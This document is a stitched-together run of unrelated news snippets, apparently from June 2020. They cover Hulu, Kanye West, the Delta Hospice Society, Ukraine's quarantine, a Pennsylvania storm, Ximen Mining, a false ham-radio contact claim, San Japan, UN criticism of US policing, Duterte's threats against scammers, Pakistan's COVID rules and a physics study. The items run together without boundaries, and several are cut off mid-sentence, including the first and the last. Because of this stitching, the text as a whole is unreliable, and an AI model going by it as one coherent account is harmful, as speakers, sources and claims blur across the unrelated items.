
Hulu recently released a major overhaul of its user interface, arranging contents in much cleaner ways.

The new version of the app lets users get to their destinations with fewer clicks. The update will be rolling out to all compatible devices in the coming weeks.
According to Variety, a representative of West, who has been silent amid the global outrage, said the 42-year-old rapper has set up a co...





West, a father of four, also donated the sum of $2 million to charities associated with Ahmaud Arbery, Breonna Taylor, and George Floyd, adding that hell be aiding black-owned businesses with financial contributions.Nigerianeye recalled that Floyd died on May 25, after being pinned down by the neck for nearly nine minutes by Derek Chauvin, a Minnesota police officer, during an arrest.The report of the autopsy carried out by Hennepin County Medical Examiner showed that Floyd had COVID-19 before his death. It however, said the disease did not contribute to his demise.
The head of the Delta Hospice Society says she is sorry for comparing medical assistance in dying to the mass murder of Jews at the Auschwitz Concentration Camp.

Angelina Ireland issued the apology on Twitter after being contacted by the The Centre for Israel and Jewish Affairs.

"It was wrong of me to use the Holocaust as a comparison tool to advance my discussion of Euthanasia," she said.

Ireland became chair of the Delta Hospice Society six months ago. In a speech at a religious right convention in the U.S. posted on Youtube, she told the crowd how the society stopped providing MAiD the day after she came to power.

"We said you know what Fraser Health Authority and Province of British Columbia, 'this is the Delta Hospice Society, not the Delta Auschwitz Society,'" she said in the speech.

Nico Slobinsky, Pacific regional director with The Centre for Israel and Jewish Affairs, says Ireland's statement is offensive.

'Ignorant comments'

"These are ignorant comments that trivialize the brutal slaughter of the millions of victims of Nazi barbarity," said Slobinsky.

"We understand that medical assistance in dying is a difficult and emotional and important debate. But nobody should ever compare the ability to access medical dying to the Holocaust."

Ben Nelms/CBC

Slobinsky said his organization had reached out to Ireland to invite her to the Vancouver Holocaust Education Centre.

Funding and contracts revoked

In February, Health Minister Adrian Dix announced the province was pulling $1.5 million in annual funding from the Delta Hospice Society and cancelling its contracts with Fraser Health, effective Feb. 25, 2021.

The move was directly in response to the decision to disallow MAiD at the 10-bed Irene Thomas Hospice.

MAiD was passed into federal law in 2016 and gives an individual the choice of a medically assisted death within strict parameters.

The decision to stop MAiD and the society's move to become a faith-based Christian organization has brought on a storm of controversy in the Vancouver municipality where the board is facing allegations of membership stacking.

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Dix says when the contract with DHS expires early next year, he doesn't expect interruptions to the day-to-day operations of the hospice.

"We made it clear we're moving on, that critical decisions about health issues and access to health issues really shouldn't be decided by sign-up battles at local societies," he said.

"That facility has to follow the Community Care and Assisted Living Act and has obligations under that. So they have to function consistent with the rules and its medical function."

Dix is meeting with Delta Mayor George Harvie, Delta MLAs Ian Paton and Ravi Kahlon and Delta MP Carla Qualtrough this weekend to discuss concerns around the Delta Hospice Society.
Face masks and social distancing will be mandated despite the introduced easing of the quarantine.

Ukraine's Chief Medical Officer, Deputy Health Minister Viktor Liashko says Ukraine will be able to reopen hotels and health centers from June 10, as well as considering that tourist groups are allowed to number up to 50 people if the COVID-19 epidemic dynamics are positive.

Read alsoMalls, hotels to open in Kyiv on May 30, subject to certain restrictions  Mayor Klitschko

"There was a meeting with travel companies in Khmelnytsky region [Ukraine's President Volodymyr Zelensky has recently visited the region]. A government resolution that introduces an adaptive quarantine provides for the reopening of accommodation facilities from June 10 if the relevant criteria are met. That is, in addition to hotels, health centers and other recreation facilities could open their doors. As of today, we have resumed only interregional road and rail transportation. From now on, the resolution green-lights the relaunch of interregional air services, domestic flights within the country. But tourist groups of more than 10 people are still not allowed," he told a briefing on June 5.

"The travel companies turned to the president  this was discussed at the meeting  and at a Cabinet meeting, we will soon initiate consideration of this issue, i.e. the movement of groups of up to 50 people, as tourist buses have up to 50 seats. We will be able to initiate another stage to ease [the quarantine] for the development of domestic tourism," he said.

Liashko reiterated that face masks and social distancing would be mandated despite the lifting of certain quarantine-related curbs.

From June 5, it is allowed to reopen catering establishments in Ukraine with customers visiting indoor facilities. However, the city of Kyiv, as well as Volyn, Zhytomyr, Lviv, Rivne, Chernivtsi, Donetsk, and Luhansk regions do not yet meet the criteria for the easing of the restrictive measures.
A brief but severe storm killed three people in southeastern Pennsylvania and ripped the roof off a seven-story apartment building, authorities said.

Montgomery County officials said the three fatalities occurred in separate incidents during Wednesdays noontime storm, two in Lower Merion Township and one in Lower Moreland.

The chair of Montgomery Countys board of commissioners, Dr. Valerie Arkoosh, said there were also a number of serious fires and the storm also tore the roof off the seven-story apartment building, leaving 150 units uninhabitable.

Arkoosh said some areas may be without power for several days, and many nursing homes are on generator backup.

PECO said more than 328,000 customers were without power in Philadelphia and suburban communities, including almost 140,000 customers in Montgomery County.

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

Topics Windstorm Pennsylvania
Similar sentiments were echoed by Jason Winsky, government affairs director for the Tucson Police Officers Association, who said that the better the communications we have during this time, the better outcomes were going to have.

We absolutely support the right of everyone to demonstrate and have their voice heard, he said. We hope that everyone does so peacefully. We also encourage people to listen to our instructions during these events, which are not just the law but designed to keep everyone safe.

For Santa Cruz, she said that she spoke to one of the assistant chiefs in the days after the protest and gained more perspective about the situation, including the fact that the order to disperse had been issued. She said she had left very quickly following the interaction after deeming the scene unsafe.

There was a lot going on.  I saw that other people in the crowd had weapons, she said. I realized it was not a safe place to be and just backed away then later realized that there had been the police orders to disperse. I was very concerned about the young people who were there and not leaving.
iLobby CEO Ariel Mashiyev recognized as the Scotiabank Entrepreneur of the Year by the Canada Innovation and Entrepreneurship (CANIE) Awards. Mr. Mashiyev was proud to be amongst distinguished business leaders during the 2020 CANIE Digital Awards Tour which celebrates outstanding achievement in Canadas entrepreneurship and innovation community. The 2020 Tour aims to inspire hope during these challenging times by sharing entrepreneurial stories of resilience.

iLobby continually challenges the status quo in order to deliver forward-thinking solutions that redefine the workplaces of tomorrow, said CEO Ariel Mashiyev. This recognition is an acknowledgement of our persistence, and it is truly a win for the whole team.

In this time of great uncertainty, said Kayla Isabelle, Board Chair of the Innovators and Entrepreneurs Foundation and Executive Director of Startup Canada, its important to be mindful that many entrepreneurs are not currently in a position to be celebrating. That is why this years Awards focus on the stories of entrepreneurs who have demonstrated resilience.

The National Adjudication Committee, comprised of some of Canadas leading entrepreneurship and industry experts, evaluated the nominees against strict criteria that demonstrates exceptional entrepreneurship.

About the CANIE Awards

The CANIE Awards celebrate and distinguish outstanding achievements in advancing Canadian entrepreneurship. Among the Awards objectives are to recognize excellence in innovation and entrepreneurship across Canada, and inspire Canadas present and future generations to be entrepreneurial innovators.

About iLobby

iLobby is a global leader in enterprise visitor management, trusted by thousands of businesses worldwide to track, manage, and monitor who is in their building. The iLobby Visitor Management System has become an integral part of day-to-day operations in organizations such as major banks, international airports, government, and Fortune 500 companies. To learn more about iLobby, visit ilobby.com.
VANCOUVER, BC / ACCESSWIRE / June 5, 2020 / Ximen Mining Corp. (XIM.V)(1XMA.F)(XXMMF) (the "Company" or "Ximen") is pleased to announce that it has acquired 100% interest in a property covering several historic gold-silver mines and prospects near Ymir in southern British Columbia.

The new property consists of 11 mineral claims covering approximately 1,600 hectares, and covers the Protection (Goodenough), Blackcock, Arizona, Ymir-Good Hope, Commodore and part of the Ymir historic mines. The claims also cover four other known prospects with similar styles of mineralization including the Ymir Belle prospect from which a small amount of production was recorded. The past production and calculated grades are presented in the table below.

Mine Tonnes

Mined Tonnes

Milled Oz Gold

Produced Gold Grade

Grams/tonne Oz Silver

Produced Silver Grade

grams/tonne Ymir (not Ximen) 327,646 325,101 109,644 10.49 459,238 43.94 Protection 14,788 N/A 10,719 22.54 82,824 174.20 Blackcock 2,614 1,095 1,024 29.09 3,127 88.82 Arizona 296 230 148 20.02 232 31.37 Ymir- Good Hope 41 8 29 112.75 127 493.75 Ymir Belle 9 N/A 7 24.22 10 34.55 Commodore 45 N/A 2 1.38 237 163.80

Notes: N/A = Not Available; calculated grades based on tonnes milled if available, otherwise tonnes mined

Map showing new property acquisition and current Ximen properties in Nelson-Salmo area.

The new property also covers a tailings deposit from the historic Wilcox mine. The Wilcox Mine was a small, high-grade gold producer with a mill that processed about 14,555 tonnes of ore between 1900 and 1940.

In 2005, the resource potential of the tailings deposit was estimated in a report titled "Wilcox Mine Tailings - Gold Resource Evaluation" by Doug Warkentin, P.Eng., of Crucible Engineering Services, Vancouver, B.C. Canada., dated September 17,2005. The average grade of the tailings deposit was estimated at 3.09 grams gold per tonne, based on multiple assays of samples collected on a grid pattern. The tonnage was estimated at 12,387 tonnes, based on depth and specific gravity measurements. The in-situ gold potential was then estimated as 1230 ounces of gold. An average gold recovery rate of 80% was projected based on metallurgical test results available.

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Note: Ximen Mining Corp., is not treating this historical estimate as current mineral resources or mineral reserves. A qualified person has not done sufficient work to classify this historic estimate as current mineral resources or mineral reserves. Ximen considers this historic mineral resource estimate to be relevant and reliant to the extent it was based upon the results of detailed sampling and metallurgical test work. The historic estimate does not use the categories of Measured, Indicated and Inferred mineral resources as defined by the Canadian Institute of Mining, Metallurgy and Petroleum and is non-compliant with National Instrument 43-101. A new sampling campaign would be required to establish a current resource estimate.

Map showing positions of Protection-Goodenough and Ymir mines. The two deposits may be part of the same mineralized zone.

Photo of ore bin at former Protection-Goodenough mine.

The Company also acquired an additional 5 mineral claims covering approximately 589 hectares in the Hall Creek area from the same vendor that connect Ximen's Rozan and Stewart properties. These claims also cover the Gold King, a small past producer of gold, silver and copper, and the Independence and Mammoth gold-copper-silver and cooper-molybdenum prospects.

The new land acquisitions add to the total land package that Ximen has assembled since first acquiring the Kenville gold mine. Earlier this year, properties were acquired from Emgold Mining Corporation, Klondike Gold Corp. and 49er Creek Gold Corp. With this latest acquisition, Ximen's land package in the Nelson-Ymir-Salmo area now amounts to approximately 16,495 hectares.

Key points of the transaction include:

600,000 Ximen shares paid to arm's length vendor

The transaction is subject to TSX Venture Exchange approval.

Dr. Mathew Ball, P.Geo., VP Exploration for Ximen Mining Corp. and a Qualified Person as defined by NI 43-101, approved the technical information contained in this News Release.

On behalf of the Board of Directors,

"Christopher R. Anderson"

Christopher R. Anderson,

President, CEO and Director

604 488-3900

Investor Relations:

Sophy Cesar,

604-488-3900,

ir@XimenMiningCorp.com

About Ximen Mining Corp.

Ximen Mining Corp. owns 100% interest in three of its precious metal projects located in southern BC. Ximen`s two Gold projects The Amelia Gold Mine and The Brett Epithermal Gold Project. Ximen also owns the Treasure Mountain Silver Project adjacent to the past producing Huldra Silver Mine. Currently, the Treasure Mountain Silver Project is under a option agreement. The option partner is making annual staged cash and stocks payments as well as funding the development of the project. The company has recently acquired control of the Kenville Gold mine near Nelson British Columbia which comes with surface and underground rights, buildings and equipment.

Ximen is a publicly listed company trading on the TSX Venture Exchange under the symbol XIM, in the USA under the symbol XXMMF, and in Frankfurt, Munich, and Berlin Stock Exchanges in Germany under the symbol 1XMA and WKN with the number as A2JBKL.

This press release contains certain "forward-looking statements" within the meaning of Canadian securities This press release contains certain "forward-looking statements" within the meaning of Canadian securities legislation, including statements regarding the receipt of TSX Venture Exchange approval and the exercise of the Option by Ximen. Although the Company believes that such statements are reasonable, it can give no assurance that such expectations will prove to be correct. Forward-looking statements are statements that are not historical facts; they are generally, but not always, identified by the words "expects," "plans," "anticipates," "believes," "intends," "estimates," "projects," "aims," "potential," "goal," "objective," "prospective," and similar expressions, or that events or conditions "will," "would," "may," "can," "could" or "should" occur, or are those statements, which, by their nature, refer to future events. The Company cautions that forward-looking statements are based on the beliefs, estimates and opinions of the Company's management on the date the statements are made and they involve a number of risks and uncertainties. Consequently, there can be no assurances that such statements will prove to be accurate and actual results and future events could differ materially from those anticipated in such statements. Except to the extent required by applicable securities laws and the policies of the TSX Venture Exchange, the Company undertakes no obligation to update these forward-looking statements if management's beliefs, estimates or opinions, or other factors, should change. Factors that could cause future results to differ materially from those anticipated in these forward-looking statements include the possibility that the TSX Venture Exchange may not accept the proposed transaction in a timely manner, if at all. The reader is urged to refer to the Company's reports, publicly available through the Canadian Securities Administrators' System for Electronic Document Analysis and Retrieval (SEDAR) at www.sedar.com for a more complete discussion of such risk factors and their potential effects.

This press release shall not constitute an offer to sell or the solicitation of an offer to buy any securities, nor shall there be any sale of securities in any state in the United States in which such offer, solicitation or sale would be unlawful.

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

SOURCE: Ximen Mining Corp.





View source version on accesswire.com:

https://www.accesswire.com/592820/Ximen-Mining-Acquires-Historic-Ymir-Protection-Gold-Property




Photo credit: NASA

From Popular Mechanics

A ham radio operator in India falsely claimed to have made contact with the Crew Dragon capsule via ham radio during last weekend's Demo-2 mission.

According to NASA, that call never happened.

Ham radio enthusiasts can, however, connect with astronauts and cosmonauts aboard the International Space Station.

In a strange turn of events, a ham radio enthusiast in Gujarat, India falsely claimed to have made contact with NASA astronauts Bob Behnken and Doug Hurley during their historic journey to the International Space Station last weekend.

Engineer Adhir Saiyadh told the Ahmedabad Mirror he decided to try to connect with the ISS as it sped over India and "coincidentally got connected to their frequency and received a response from one of the commandants of the capsule," he said.

But NASA says it simply isn't true.



Behnken and Hurley blasted off from NASA's historic Launch Complex 39A on Saturday, May 30. After 19 hours in orbit, the astronauts docked with the ISS and reunited with fellow astronaut Chris Cassidywhose ham call sign is KF5KDR, by the wayand Russian cosmonauts Anatoly Ivanishin and Ivan Vagner.

"We did check with SpaceX to confirm that they were not aware of any communication with the astronauts via ham radio, and the crew did not report having received communication," a NASA spokesperson told Popular Mechanics via email. "We are also under the impression that may be technically impossible for the Crew Dragon to communicate through ham radio."

There's a decades-long history of ham radio operatorsor hams, as they're often called communicating with astronauts in orbit. Astronauts aboard the Space Shuttle, Mir Space Station, and the ISS have used ham radios to chat with people back on Earth.

The first ham radio operator in space, NASA astronaut Owen Garriott (W5LFL), used a 2-meter radio to chat with King Hussein of Jordan, senator Barry Goldwater and, of course, his mother. During the shuttle mission STS-9 in 1983, Garriott communicated with hundreds of other hams and helped kickstart the Shuttle Amateur Radio Experiment (SAREX) program, which ran for 16 years.

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Now, through the Amateur Radio on the International Space Station (ARISS) program, ham radio operators and students from participating countries can make contact with astronauts aboard the ISS. Usually, students come up with a series of questions and patch them through to a ham radio operator, who then transmits them to the ISS.

Since the program began in 2000, over 250,000 students in 57 countries have connected with astronauts aboard the ISS. On May 15, Chris Cassidy spoke with students from Airdrie Space Science Camp in Alberta, Canada. You can hear their conversation below. (Come for the ham radio lesson, and stay for the space vomit.)

If you have your ham radio license but aren't a student, you can still connect with the ISS. You'll need to be in close range with the space station, but since it's moving nearly five miles per second, that window of opportunity is short.

Additionally, the astronauts have to be available to speak with you. The best time to reach them is during their personal hoursjust after they've woken up and right before they go to bed. ARISS has a pretty comprehensive guide on what frequencies to use and what software you'll need to make a connection.

In 2015, a ham from the U.K. made contact with the ISS and had a brief conversation with the crew. It might seem like an antiquated technology, but it's a great way to stay in touch with our space-faring friends. Over.

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LANSING, Mich., June 5, 2020 /PRNewswire/ -- In response to calls from President Trump and Education Secretary Betsy DeVos to reopen schools in the midst of the coronavirus pandemic, Protect Our Public Schools (POPS) has launched a petition on Change.org. The petition demands that Education Secretary Betsy DeVos ensure Michigan schools will have funding for school nurses, counselors, and protective equipment necessary to protect Michigan children and their parents from COVID-19 when schools reopen.

This fall, school nurses will be one of the most important people in every school building. But historically, Michigan's student-to-nurse ratio has ranked last in the nation. This must change before schools potentially reopen in the fall. According to the latest estimates, there is only 1 nurse per 6,570 students in Michigan, and over 800,000 students have no access to clinical school nursing services.

Recent reports have raised serious concerns that children might be at a higher risk of complications from COVID-19 than previously known. When schools reopen, school nurses will be necessary to monitor and protect children from any potential COVID-19 outbreaks  particularly those with pre-existing conditions that could make a COVID-19 infection life threatening. Reopening schools without school nurses in place and necessary personal protective equipment would have significant public health consequences.

Education Secretary Betsy DeVos's spokesperson has recently stated that the Secretary believes " schools controlled by local leaders are positioned to make reopening decisions in consultation with local health officials ." But DeVos has offered no plan for important basic reopening details based on the best medical science. Public schools have only vague federal guidelines to go by in wrestling with basic questions, such as how to feed children during the school day if they are not to use cafeterias, and how they should staff daily temperature checking of every child as he or she arrives at school.

"Donald Trump and Betsy DeVos are insisting schools should reopen, but Secretary DeVos has no plan for doing that safely  even though that's her job," said Ellen Offen, Vice President of POPS. "She's leaving local school districts to figure out complex medical questions and to magically come up with the money to pay for classroom upgrades and staffing that are required to protect students and their families. Reopening without plans and resources is gambling with the health of our children and families. This is unacceptable."

Similar to other states across the country, Michigan also has a severe shortage of school counselors due to funding shortfalls. According to a recent report by the American School Counselor Association, Michigan has among the worst student-to-counselor ratio in the nation. School counselors are essential for students navigating the current educational landscape and dealing with the emotional impact of COVID-19.

About Protect Our Public Schools

Michigan public schools are under attack from greedy corporate interests and anti-public school ideologues. Protect Our Public Schools is a community of teachers, retired educators, students, parents, and citizens who are dedicated to protecting our public schools. Protect Our Public Schools operates as a section 501(c)(4) tax exempt organization.

SOURCE Protect Our Public Schools

Related Links

https://protectourpublicschools.org


San Japan organizer Dave Henkin is apologizing and calling himself an "idiot" after controversial tweets he made from his private account on Thursday surfaced.

Responding to criticism over the lack of diversity among panelists and talent for the local annual anime event, Henkin tweeted, "We get tagged and constantly requested to book sexual predators and popular asshole divas. That's what people want to throw their money. Show up by the hundreds with cash to see (people of color) then I'll book them."

In a follow up tweet, Henkin directed fans to a convention in Waco that, "specifically focuses on POC fandom industry."

Henkin's tweet comes during a time of heightened racial tensions after the death of George Floyd, who died last week while in Minneapolis police custody.

RELATED: H-E-B says 'we must all take a stand' against racism, launches a $1 million fund to address issues

Although protected from public view, screenshots of the tweet began circulating online.

"This is a vivid example of soft racism," one person tweeted in response. "You can live a non-racist life, but still serve a racist agenda by bending to it. You can claim it's the only way to be successful in your environment. But what kind of success is it when you compromise away your soul?"

Henkin took ownership of the private posts in a public statement hours later.

"I am an idiot. I was trying to express frustration with the difficulty of marketing POC guests to large sections of the fandom that request the same milquetoast celebrities that are already at every other show," the post reads. "I realize I speak from a position of privilege as a white man and vow to be a better ally in the future. I'm sorry."

Some asked Henkin to be an ally of the black community and to donate to organizations like Black Lives Matter.

"It will be put into major consideration when circle back in fielding this," Henkin replied.

Henkin apologized again when reached by email, saying "I am trying to be better" and is working to include more diversity. As of Friday, black panelists have not been included for the event.

"My comments were expressing exasperation over the lack of demand for POC guests while the same (non-POC) guests get requested. I poorly phrased my frustrations and I take ownership of that," Henkin said. "I am already in conversations with booking agents to expand the diversity of guests at the convention and listening to feedback to understand how I can better serve our fandom community. The convention will be making an official announcement this weekend about further actions."

San Japan is touted at San Antonio's largest anime convention and has attracted up to 20,000 attendees to attend panels, workshops, concerts and other activities. The 13th annual event is scheduled to take place Sept. 4-6.

Madalyn Mendoza covers news and puro pop culture for MySA.com | mmendoza@mysa.com | @maddyskye
Photograph: Xinhua/Rex/Shutterstock

A group of 66 United Nations human rights monitors have issued a devastating critique of what they call modern-day racial terror lynchings in the US in the form of state-sponsored police violence against black Americans.

The group released two joint statements on Friday, prompted by the wave of protests against police brutality that has swept the nation in the wake of the deaths of George Floyd in Minneapolis, Minnesota, and Breonna Taylor in Louisville, Kentucky.

Related: I cannot stand it: family of Louisville man shot dead by police speak out

The action marks an almost unparalleled outpouring of criticism by the UNs independent body of human rights experts. Rarely have so many come together to speak as one voice. The language they deploy is also highly unusual in its excoriating critique of what the monitors state is the fundamental racial inequality and discrimination that characterize life in the United States for black people.

Most piercingly, the experts make a direct link between police killings of unarmed African American men today with the spate of thousands of racial lynchings that terrorized black communities in the era of segregation.

African Americans continue to experience racial terror in state-sponsored and privately organized violence  In the US, this legacy of racial terror remains evident in modern-day policing.

The authors, who have sent an official complaint to the US government via diplomats in Geneva, also specifically refer to the killing of Ahmaud Arbery, a black man in Georgia. He was allegedly chased down by three white men and shot three times as he was out jogging.

On Thursday, a court heard that the white man accused of wielding the pump-action shotgun that killed Arbery used the N-word as he stood over the victims body.

The last few moments of Ahmauds life involved pursuit by a lynching party identical to the lynching parties of the Jim Crow era, the UN monitors write. They add that the video showing white men chase, corner and execute a young man who was out jogging, evoke the very terror that the lynching regime in the US was intended to inspire.

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The group of 66 experts, known as special rapporteurs in the UN system, also have unbridled words for Donald Trump. They heavily criticize his threat to deploy the US military against peaceful protesters as well as his glorification of violence in a tweet in which he said when the looting starts, shooting starts.

The UN monitors state: The response of the president of the United States to the protests has included threatening more state violence using language directly associated with racial segregationists from the nations past. We are deeply concerned the nation is on the brink of a militarized response that re-enacts the injustices that have driven people to the streets to protest.

The signatories include more than two-thirds of human rights watchdogs who form the backbone of the UNs monitoring of human rights abuses around the globe. They include Agnes Callamard, who acts as observer on extrajudicial, summary or arbitrary executions; Tendayi Achiume, the special rapporteur on racism and xenophobia; Felipe Gonzalez, on the human rights of migrants; and Nils Melzer, on torture and other cruel, inhuman or degrading treatment.

Callamard told the Guardian that the joint statement came at a critical time for the UN. There has never been a more urgent moment for us, UN independent experts, to stand together, speak together and act together. I cannot think of more crucial issues than those we are confronting as a global community.

The joint statements raise powerful concerns about other aspects of modern life in America. They say there are significant rule of law concerns in the way the current crop of anti-police brutality protests have themselves been policed with many incidents of teargassing of peaceful protesters.

They also note that the coronavirus pandemic has ripped through African American and Latino communities in the US, producing a death rate three times that of white people. They also point to staggering police and military budgets at a time where healthcare, education, housing and pollution prevention are all suffering depleted resources.

The UN monitors propose a series of profound reforms to policing in America, including the appointment of civilian oversight boards, mandatory use of body cameras and an end to the provision of military equipment to police forces.

This is a time for action and not just talk, they say, especially from those who need not fear for their lives or their livelihoods because of their race or ethnicity.


Rensselaer

A proposed $35 million trash-to-fuel processing facility at the site of the former BASF chemical plant here would substitute recycled materials for dirty coal as a fuel for concrete plants, steel mills and other industrial uses.

That was the message Thursday night during a Zoom presentation by BioHiTech, the company that wants to build the fuel processing facility here.

Not everyone is convinced however, as most of the questions during a two-hour presentation and discussion came from opponents worried about traffic, odors and possible seepage into the Hudson River.

The 72,000-square-foot plant on a 10-acre lot would consist of large, deep pits under a building, where items like plastics and organic waste are separated out and turned into a papery fuel.

Theres a ready market for such fuels, said Emily Dyson, who works with the companys existing plant in West Virginia.

They want as much fuel as we can make, Dyson said of their industrial customers.

Developed in Italy, the technology has been used in Europe for about a dozen years, said Dennis Soriano, the companys director of business development. The facility would employ about 25 people locally.

Items ranging from railroad ties, to tires to unused lip gloss (the company has actually accepted a load from California), are turned into fuel in this process.

On the other hand, the facility could bring in dozens of trucks per day.

There would be times during the day when there would be quite a few trucks coming to the site, said John Montagne, a consultant for the project.

In addition to traffic and emissions worries, opponents said they feared seepage into the nearby Hudson.

Additionally, theres a capped landfill under the site containing toxic waste from the days when BASF was operating there.

Soriano and others from BioHiTech explained that the building would have negative air pressure and mulch filters to control any fumes or odors. And they said the facility would be high enough to avoid puncturing the BASF landfill allow.

All of this back-and-forth comes as Rensselaer for several years now has been embroiled in controversy over another waste site, the Dunn construction demolition and debris landfill up the hill from the BASF site.

More for you Rensselaer County lawmakers pass moratorium on solid waste facilities

Neighbors of the Dunn site have bitterly complained about rotten egg odors, fumes and heavy truck traffic. That facility is adjacent to the Rensselaer K-12 school complex, further adding to the controversy.

Some said that the old BASF plant created problems when that was there and questioned whether residents want another such facility in their midst.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

People in that neighborhood have been damaged for 100 years by BASF, remarked Peter Finn, a member of the Rensselaer Environmental Coalition, which has battled the Dunn landfill.

The ultimate fate of the BioHiTech project is unclear and it depends on which side one talks to.

We dont see the need to go forward with a full environmental impact study, Soriano said, later adding that their application was in the technical review stage with the state.

New York State doesnt seem to agree, however, as they have criticized a preliminary go-ahead from a prior city administration. Rensselaer city officials more than a year ago gave BioHiTech a special use permit, saying that a full State Environmental Quality Review Act, or SEQRA study, wouldnt be needed for the project to move forward.



But the state Department of Environmental Conservation in late 2019 wrote to outgoing Rensselaer Mayor Richard Mooney, saying they believe the project will almost certainly need more environmental information to move forward.

It is now incumbent upon the city of Rensselaer, to the fullest extent provided by applicable law, to reopen the environmental impact assessment process ... and take appropriate corrective action, DEC Regional Director Keith Goertz wrote to Mooney in November.

The DEC letter alleged a number of lapses and shortcuts the prior Rensselaer City Council and planning officials made in saying there was no need for a full-scale review.

Mooney, a Democrat, was defeated by Republican Mike Stammel for mayor in November in a race that turned in part on anger over the prior administrations allowing the Dunn facility to open.

rkarlin@timesunion.com 518 454 5758 @RickKarlinTU
Metro Manila (CNN Philippines, June 5)  President Rodrigo Duterte issued a warning to online sellers who scam the public and take advantage of the COVID-19 crisis.

Duterte  whose presidency has been marred with allegations of extrajudicial killings and human rights violations  said that if it were up to him, he would hogtie online scammers and throw them off the river.

"Itong mga animal na ito, they take advantage of the misery of people. Kung ako, iyan ang gawin ko sa inyo. Talian ko ang paa ninyo pati kamay ninyo, saksakan ko ang bunganga ninyo ng medyas na mabaho limang araw na walang laba, tapos talian ko ng panyo. Ihulog kita sa Pasig," he said in a speech which aired on Friday.

[Translation: These animals take advantage of the misery of people. If it were me, I would tie your feet and hands, gag you with a dirty sock and cloth. Then I'd throw you off the Pasig River.]

He told the public to be more discerning when buying from online shops, especially those advertising face masks. He gave them tips on how to deal with online sellers who scam customers.

"Deliver mo tapos tignan mo ang maskara, kung 'di sangayon sa inorder mo, papasukin mo sa loob ang nagdala ng mask. Talian mo. 'Pag gabi, maghanap ka ng sasakyan, ihulog mo sa Pasig River. Maraming tulay diyan, mamili ka, 3 a.m. wala nang dumadaan diyan maski ano ihulog mo, wala nang makialam diyan," he said.

[Translation: Ask them to deliver the mask you ordered. If it's not up to your standards, ask them to enter your home then tie them up. Wait until dusk before throwing them off the river or bridge. If you do it at 3 a.m., no one will find out.]

Despite Duterte's previous admission that his only sin are extrajudicial killings, his administration has repeatedly denied that it has sanctioned or supported extrajudicial killings. Human rights groups differ, saying Duterte's war on drugs has resulted in tens of thousands of extrajudicial killings.
Source: Xinhua| 2020-06-05 08:35:11|Editor: huaxia

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ISLAMABAD, June 5 (Xinhua) -- Pakistan decided on Thursday to take strict administrative actions for the implementation and enforcement of the standard operating procedure (SOPs) formed by the government to contain the spread of COVID-19 amid a surge in new virus cases across the country, officials said.

The National Command and Operation Center (NCOC) of Pakistan, a high level body to monitor the situation arising out of COVID-19, reviewed ways to implement the track, trace and quarantine strategy.

Officials from different parts of the country informed the NCOC that strict administrative action has been initiated against the violators of the SOPs and social distancing in public places and high risk areas of markets, public transport and industrial sectors, an official statement said.

The NCOC meeting presided over by minister for planning Asad Umar discussed the implementation of the SOPs, safety and quarantine guidelines to avoid spread of the coronavirus with the provincial chief secretaries.

Speaking on the occasion, Umar said the heart of the strategy to contain the risk of the contagion is to ensure "the SOPs compliance and enforcement of quarantine measures." He added that all measures should be implemented swiftly to make the strategy a success in overcoming the risk of the COVID-19 spread.

Officials informed the meeting that strict SOPs and social distancing would be ensured whereas on violation the entire market, business center and plaza would be sealed.

They said that fines were imposed on the transport sector for violating SOPs while a fine would also be imposed on not wearing face masks at public places and high risk areas.

The death toll of COVID-19 has risen to 1,770 with 85,264 confirmed cases in Pakistan, according to data updated by the country's health ministry on Thursday. Enditem
Scientists have long tried to experimentally demonstrate a certain symmetry property of the weak interaction - parity violation - in molecules. So far, this has not been possible. A new interdisciplinary effort led by a research group at the at the PRISMA+ Cluster of Excellence at Johannes Gutenberg University Mainz (JGU) and the Helmholtz Institute Mainz (HIM) has now shown a realistic path to demonstrating this phenomenon. The approach includes aspects of nuclear, elementary particle, atomic and molecular physics as well as nuclear magnetic resonance (NMR). "Molecular parity nonconservation in nuclear spin couplings" is published in the current issue of the journal Physical Review Research.

Symmetries are omnipresent  in space as well as in the world of molecules, atoms and elementary particles. The four fundamental forces (electromagnetism, gravity, and the strong and weak nuclear forces) also obey certain, perhaps seemingly abstract, symmetries. From the Big Bang to the present day, existing symmetries were repeatedly broken. Symmetry and symmetry breaking are necessarily reflected in the physical processes and states that we can observe.

One of these symmetries is the mirror symmetry (symmetry with regard to reflection in space)  if it is broken, the researchers speak of parity violation. According to current knowledge, the weak interaction is the only one among the four fundamental forces that does not appear mirror-symmetrical: Only in processes that are subject to this interaction do parity violations occur. "Since the weak interaction plays almost no role in our everyday experience  gravity and electromagnetism dominate here  the phenomenon of parity violation contradicts our normal idea and is therefore difficult to grasp," says Dr. John Blanchard, lead author of the study. "Parity violation in the weak interaction was therefore only theoretically predicted in the 1950s and was discovered shortly afterwards in certain nuclear and elementary particle decays. Parity-violating processes have never been detected in molecules, although theoretical calculations predict that they should be there. Definitive evidence of such subtle effects is, so to speak, a holy grail of precision-measurement physics."

Many attempts have been made to experimentally observe the effects of parity violation in molecules. One example is the interaction of the spins of different atomic nuclei in a molecule. In turn, these can in principle be detected and analyzed using nuclear magnetic resonance methods (NMR). While the team of scientists has already developed a promising approach to chiral molecules in a previous work, their current publication focuses on simple molecules that consist of as few as two atoms. First of all, they identify a special NMR measurement variable (a specific spin-spin coupling) on the basis of which the parity violation is shown and carry out complex theoretical analyses to calculate the expected effect within the molecule. These calculations were carried out in close collaboration with the co-author of the study, Prof. Mikhail G. Kozlov from the Nuclear Physics Institute in St. Petersburg, Russia, with whom the Mainz group has been working very successfully for many years.

Building on this, the scientists propose a special experiment that should be sensitive enough to detect the calculated signals: "The so-called ZULF (zero to ultra-low field) NMR method is an exotic technique that we were already using for dark matter successfully," explains Prof. Dr. Dmitry Budker, also an author of the study. "It offers a system in which nuclear spins interact with each other more than with an external magnetic field. In this way, it enables the direct measurement of antisymmetric spin-spin couplings, which are cut off in conventional high-field NMR experiments."

"Our results show an elegant way to quantitatively investigate the weak interaction in molecules and atomic nuclei," concludes Dr. Blanchard. "The results of our feasibility study are very promising  we hope to soon have experimental verification of molecular parity nonconservation."
Majority of patients who go into hiding after testing positive for COVID-19 are asymptomatic, the Minister of Health, Osagie Ehanire, has said.

